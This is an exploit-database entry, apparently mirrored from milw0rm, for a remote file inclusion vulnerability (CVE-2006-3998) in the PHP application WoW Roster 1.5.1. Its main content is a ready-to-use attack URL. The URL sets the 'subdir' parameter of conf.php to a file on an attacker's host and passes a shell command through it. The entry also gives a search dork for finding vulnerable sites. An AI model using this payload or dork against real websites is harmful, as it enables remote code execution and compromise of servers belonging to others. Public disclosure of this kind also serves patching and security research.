Exploit WoW Roster 1.5.1 - 'subdir' Remote File Inclusion

[Exploiter]

EDB-ID

2099

Проверка EDB

1. Пройдено

Автор

SKULMATIC

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-3998

Дата публикации

2006-08-01

--------------------------------------------------------------------------------
Title : WoW Roster <= 1.5.1 Remote File Include Vulnerabilities
###############################################################################
Discovered By Skulmatic
-----------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application :  World of Warcraft (WoW) Roster
URL :  http://www.wowroster.net/
-----------------------------------------------------------------------------

dork        : "wow roster version 1.5.*"
Exploit     : 
http://[target]/[wow_roster_path]/conf.php?subdir=http://[attacker]/cmd.txt?&cmd=ls           
              
------------------------------------------------------------------------------

greatz:
~~~~
# special to song hye kyo (for inspiration)
# To all members of #papmahackerlink and #hackid, OLiBekaS, cgibin, weleh, skulmatic, sikunYuk, brokencode, ulga, SaMuR4i_X, bigmaster.
-------------------------------------------------------------------------------

Contact:
~~~~~~
Nick: skulmatic
E-mail: skulmatic[at]gmail[dot]Com

--------------------------------- [ eof ] ---------------------------------------

# milw0rm.com [2006-08-01]